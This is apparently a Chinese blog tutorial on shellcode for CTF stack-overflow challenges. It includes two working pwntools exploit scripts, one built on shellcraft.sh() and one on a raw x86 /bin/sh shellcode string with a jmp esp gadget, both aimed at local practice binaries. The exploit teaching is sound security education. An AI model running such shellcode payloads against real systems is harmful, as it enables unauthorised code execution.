Shellcode

能打八个攻城狮發表於2024-06-16

什麼是Shellcode

Shellcode指的是用來完成某個功能的彙編程式碼,常用的功能就是獲取目標系統的shell。在棧溢位的基礎上,我們一般都是向棧中寫內容,所以要想執行Shellcode,就要要求對應的二進位制檔案沒有開啟NX保護。利用ret_address返回Shellcode處執行

怎麼生成Shellcode

Shellcode的生成方法通常有以下幾種:

  1. 在pwntools中由shellcraft模組生成
  2. https://www.exploit-db.com/shellcodes/網站中根據平臺和系統的位數獲取
  3. 透過Metasploit生成

1、根據pwntools生成Shellcode

例題:https://github.com/2466292820/CTF/blob/main/PWN/stack/ret2shellcode‘

檢視保護沒有開NX,可以用Shellcode

IDA反編譯發現棧溢位,直接用Shellcode覆蓋main_addr地址控制程式流

from pwn import *
context.arch = "i386"
p = process('./ret2shellcode')
p.recvuntil("ret2shellcode")
target = int(p.recvuntile("\n",drop = true) , 16)
sc = asm(shellcraft.sh())
payload = sc.ljust(0x108 ,'\x00') + p32(1) + p32(target)
p.sendline(payload)
p.interactive()

解釋:target = int(p.recvuntile("\n",drop = true) , 16)接收直到換行符,並且去除換行符,轉換為16進位制

2、Shellcode進階

例題:https://github.com/2466292820/CTF/blob/main/PWN/stack/b0verfl0w

沒有開NX保護,可以使用Shellccode

發現溢位十八個位元組,非常小,所以用pwntools生成的Shellcode長度太長,這裡需要用gadget來控制EIP的位置,跳轉到Shellcode的初始地址

from pwn import *
p = process('./b0verfl0w')

shellcode_x86 = '\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80'
sub_esp_jmp = asm('sub esp , 0x28;jmp esp')
jmp_esp = 0x08048504
payload = shellcode_x86.ljust(0x24 , 'a') +  p32(jmp_esp) + sub_esp_jmp
p.sendline(payload)
p.interactive()

從payload起始地址開始構造Shellcode,之後調整esp到Shellcode起始位置

為什麼要用jmp_esp而不是直接用Shellcode覆蓋返回地址?
當pop main_addr後esp在main_上邊,直接執行sub_esp_jmp在棧外執行,會異常,所以我們要把EIP調整到棧內再把EIP控制到sub_esp_jmp這樣就沒有問題了

相關文章